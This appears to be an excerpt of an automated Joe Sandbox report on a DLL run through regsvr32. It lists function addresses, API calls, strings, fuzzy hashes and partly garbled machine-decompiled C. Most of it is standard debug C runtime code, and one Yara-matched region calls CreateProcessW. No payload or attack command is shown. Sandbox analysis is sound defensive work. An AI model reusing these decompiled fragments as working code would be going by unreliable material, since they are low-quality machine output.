Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Error: memory allocation: bad memory block type.
API String ID: 2480363372-1537269110
Opcode ID: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction ID: 3c0f980f6ccd09ea8afc11027f8ae4c535623d5f1e7c019e481493293b97b3b1
Opcode Fuzzy Hash: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction Fuzzy Hash: 4B71EB36A09B8586DBA0CB59E89036EB7E0F3C9B90F218526DADD437A4DF7DD044CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024EE6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction ID: 5490f85ef4092ec497088e60b932e525f0ce693db587fe3a551d92928695aba5
Opcode Fuzzy Hash: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction Fuzzy Hash: 5141C27191C7848FD7A5DF18D08A7DAB7E0FB98318F01495DE88CC7292DB749885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024F28 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction ID: 90d0215384d3738c1bd812602d16852eefab8a4974bd8bae5625081230a7a3ff
Opcode Fuzzy Hash: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction Fuzzy Hash: 4741377091CB848BD7B4DF18D08A7AAB7E0FB98315F10495EE88CC3252DB7498848B86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2CA00: EncodePointer.KERNEL32 ref: 000007FEF9D2CA33

_initterm_e.LIBCMTD ref: 000007FEF9D2701F

Strings

Y, xrefs: 000007FEF9D2700C

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: e2eda9ea6841371ef03f52dec0317b7f8d7542193ab5d09d46fee122be74aa2a
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 1DE0C22190C042A7FAA1AB24ED453BE63E0B791344FA14231E2CD824B5EB2FF908CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27540 Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF9D27540(long long __rax) {
				long long _v24;
				void* _t8;
				void* _t9;

				_t16 = __rax;
				_t9 = E000007FE7FEF9D23D00(_t8); // executed
				_v24 = __rax;
				return E000007FE7FEF9D2CF20(E000007FE7FEF9D2CFB0(E000007FE7FEF9D2D450(E000007FE7FEF9D2D470(E000007FE7FEF9D2BD50(E000007FE7FEF9D2AB90(_t9, _v24), _v24), _v24), _v24), _v24), _t16, _v24);
			}

0x7fef9d27540
0x7fef9d27544
0x7fef9d27549
0x7fef9d2758e

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

_initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
_initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D2CF20: EncodePointer.KERNEL32(?,?,?,?,000007FEF9D2758A,?,?,?,?,?,?,000007FEF9D23D39), ref: 000007FEF9D2CF30

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_initp_eh_hooks_initp_misc_winsig
String ID:
API String ID: 2678799220-0
Opcode ID: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction ID: d1131ca10be328b200f0d94da683d71e83c9d45f094ccb2362bb8b9ac37f618d
Opcode Fuzzy Hash: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction Fuzzy Hash: CFE07D6391D58181E6B0BB21EC5226E93B0F7C8788F610171B6CD47A7BCE1DE9018B80

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2ACA8 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

__crtExitProcess.LIBCMTD ref: 000007FEF9D2ACB7

Part of subcall function 000007FEF9D274E0: ExitProcess.KERNEL32 ref: 000007FEF9D274F5

RtlAllocateHeap.NTDLL ref: 000007FEF9D2ACE7

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcess$AllocateHeap__crt
String ID:
API String ID: 4215626177-0
Opcode ID: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction ID: 018cd22ed3aaffe80bc67b356604b0c029bcf26b5d2cff022e0890546f5cf117
Opcode Fuzzy Hash: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction Fuzzy Hash: AFE04F2490898683E7A49726E80037D63E0FB84348F614036D7CE026F5CF2FE840E601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D24399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf9d243ad;
				goto 0xf9d243f5;
				if (_a88 != 0) goto 0xf9d243ce;
				if (_a120 == 0) goto 0xf9d243c7;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				if (E000007FE7FEF9D2ABB0(_a48, _a80) != 0) goto 0xf9d243f3;
				if (_a120 == 0) goto 0xf9d243ef;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				goto 0xf9d24377;
				return 0;
			}

0x7fef9d24399
0x7fef9d243a4
0x7fef9d243ab
0x7fef9d243b2
0x7fef9d243ba
0x7fef9d243c1
0x7fef9d243cc
0x7fef9d243da
0x7fef9d243e2
0x7fef9d243e9
0x7fef9d243f1
0x7fef9d243f3
0x7fef9d243f9

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: 1adc9abf0de1c3ca8893cd90e215b0d97e51771cadcbd8eff06287440f46b9d2
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 8B01B332A5CB41C6F7A08A55E84472EA7E0F7C4794F321121AECD42BB8CB7DE440CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23471 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23496

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _ioterm
String ID:
API String ID: 4163092671-0
Opcode ID: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction ID: 7377a742d64af20529275359c4a94eabcf7c0d21081332a84b693dd33c507e1a
Opcode Fuzzy Hash: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction Fuzzy Hash: F4F03720C0C10789FAE16778AC0A37CA1D1A711B91F3252F5A0DC821F2D77FB54A8A12

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23437

Part of subcall function 000007FEF9D27D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2343C), ref: 000007FEF9D27D93

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Part of subcall function 000007FEF9D288D0: HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 18d5f63124407e78997e2f664e67049843f9c9ac3d7a6681d0ffcba3130af5de
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 50E06760E0C1439AF6D567B46C423BD91D06B54BC1FB245B2A1CE862F3EA5FB8014662

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D288D0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction ID: df5636f5ee55eb5a1123ad47329e94e2a1af4504a4e9b44811c9c5941fd1bffd
Opcode Fuzzy Hash: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction Fuzzy Hash: 6CC04C64D15A01C1EA445726FC8536822A06394745FA0C021C5CD012308B2F55968701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D00 Relevance: 1.5, APIs: 1, Instructions: 5COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction ID: 5c830059afc01ab3dffeb0f702370a5898bb96dd38ab511ff450623a486f5942
Opcode Fuzzy Hash: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction Fuzzy Hash: F1A00224F16591D7DAAC373A5D9713D11A06B68709FF05869C74F40261CE2F92FE8B05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF9D30215 Relevance: 89.7, APIs: 29, Strings: 22, Instructions: 441COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D3024C
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30279
OutputDebugStringW.KERNEL32 ref: 000007FEF9D30285
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302BF
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302CC
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302DA
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302E7
_wcsftime_l.LIBCMTD ref: 000007FEF9D30352
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D303AA
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30408
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30484
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D304CB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30538
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D3057E
_snwprintf_s.LIBCMTD ref: 000007FEF9D305F5
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D3064D
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D306AB
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D30764
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D307B8
_unlock.LIBCMTD ref: 000007FEF9D30900

Strings

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D307AF
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 000007FEF9D30575
%s(%d) : %s, xrefs: 000007FEF9D305DB
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30A9C
P, xrefs: 000007FEF9D30AC6
Second Chance Assertion Failed: File , xrefs: 000007FEF9D3027E
Assertion failed: , xrefs: 000007FEF9D30422
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D30262, 000007FEF9D3037E, 000007FEF9D303F1, 000007FEF9D3046D, 000007FEF9D304B4, 000007FEF9D30521, 000007FEF9D30567, 000007FEF9D30621, 000007FEF9D30694, 000007FEF9D30738, 000007FEF9D307A1, 000007FEF9D30A84, 000007FEF9D30C07
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 000007FEF9D3052F
(*_errno()), xrefs: 000007FEF9D30396, 000007FEF9D30639
<file unknown>, xrefs: 000007FEF9D302A8
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D304C2
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D3077A
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D303FF
, Line , xrefs: 000007FEF9D302C5
Assertion failed!, xrefs: 000007FEF9D30433
_VCrtDbgReportW, xrefs: 000007FEF9D30269, 000007FEF9D3038A, 000007FEF9D303F8, 000007FEF9D30474, 000007FEF9D304BB, 000007FEF9D30528, 000007FEF9D3056E, 000007FEF9D3062D, 000007FEF9D3069B, 000007FEF9D30744, 000007FEF9D307A8, 000007FEF9D30A90, 000007FEF9D30C0E
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30750
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 000007FEF9D3047B
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D303C7, 000007FEF9D3066A
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D30270, 000007FEF9D30C15
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D306A2

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_snwprintf_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 4197005980-4190456261
Opcode ID: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction ID: 631fc2af3d1e2e358681470289229c30ebeab24735d73449bcceef6109dc099e
Opcode Fuzzy Hash: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction Fuzzy Hash: 6B421031A0CA8685EBB0CB14E8547EE73E4F784345FA04226D6CD43AA9DF7EE549CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30CC0 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

LoadLibraryW.KERNEL32 ref: 000007FEF9D30D2A
GetProcAddress.KERNEL32 ref: 000007FEF9D30D50
DecodePointer.KERNEL32 ref: 000007FEF9D30E40
DecodePointer.KERNEL32 ref: 000007FEF9D30E52
DecodePointer.KERNEL32 ref: 000007FEF9D30F67

Strings

GetLastActivePopup, xrefs: 000007FEF9D30D9E
USER32.DLL, xrefs: 000007FEF9D30D23
GetProcessWindowStation, xrefs: 000007FEF9D30DF3
GetUserObjectInformationA, xrefs: 000007FEF9D30DC0
GetActiveWindow, xrefs: 000007FEF9D30D7C
MessageBoxA, xrefs: 000007FEF9D30D44

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2256938910-232180764
Opcode ID: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction ID: c20bf9db26653c31616cb8f8a39641649b62d884e8934e9a70f617ae2971618d
Opcode Fuzzy Hash: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction Fuzzy Hash: 9A81C631A19B8686E7A09B19FC4436EB3E0F784755F608135DACE426B8DF7EE448CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24A70 Relevance: 30.3, APIs: 2, Strings: 15, Instructions: 504COMMONLIBRARYCODE

Download Yara Rule

Strings

The Block at 0x%p was allocated by aligned routines, use _aligned_realloc(), xrefs: 000007FEF9D24DE7
Error: memory allocation: bad memory block type.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24D55
Error: possible heap corruption at or near 0x%p, xrefs: 000007FEF9D24F22
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D24B38, 000007FEF9D24E45, 000007FEF9D24EB7, 000007FEF9D251C0, 000007FEF9D2523B, 000007FEF9D252A9
Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24C94
fRealloc || (!fRealloc && pNewBlock == pOldBlock), xrefs: 000007FEF9D251AB
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D24E30
Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24D7D
_pLastBlock == pOldBlock, xrefs: 000007FEF9D25226
Client hook re-allocation failure at file %hs line %d., xrefs: 000007FEF9D24C00
pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ, xrefs: 000007FEF9D24EA2
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D24CC6
Client hook re-allocation failure., xrefs: 000007FEF9D24C25
_pFirstBlock == pOldBlock, xrefs: 000007FEF9D25294
_CrtCheckMemory(), xrefs: 000007FEF9D24B23

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: Client hook re-allocation failure at file %hs line %d.$Client hook re-allocation failure.$Error: memory allocation: bad memory block type.$Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).$Error: possible heap corruption at or near 0x%p$Invalid allocation size: %Iu bytes.$Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$_pFirstBlock == pOldBlock$_pLastBlock == pOldBlock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$fRealloc || (!fRealloc && pNewBlock == pOldBlock)$pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ
API String ID: 0-1181733849
Opcode ID: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction ID: c027552587c484905274aa3c7dfc2130a2bba284c4db387798f357193d3a2f5b
Opcode Fuzzy Hash: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction Fuzzy Hash: B3421035A0DB8685EBA08B69E88076E77E0F785794F214136DADD83BB4DB7ED440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D253FB Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D254D9
_free_base.LIBCMTD ref: 000007FEF9D2583F

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2573C
Client hook free failure., xrefs: 000007FEF9D254A0
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D254F7, 000007FEF9D2556D, 000007FEF9D257FE
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 000007FEF9D2542B
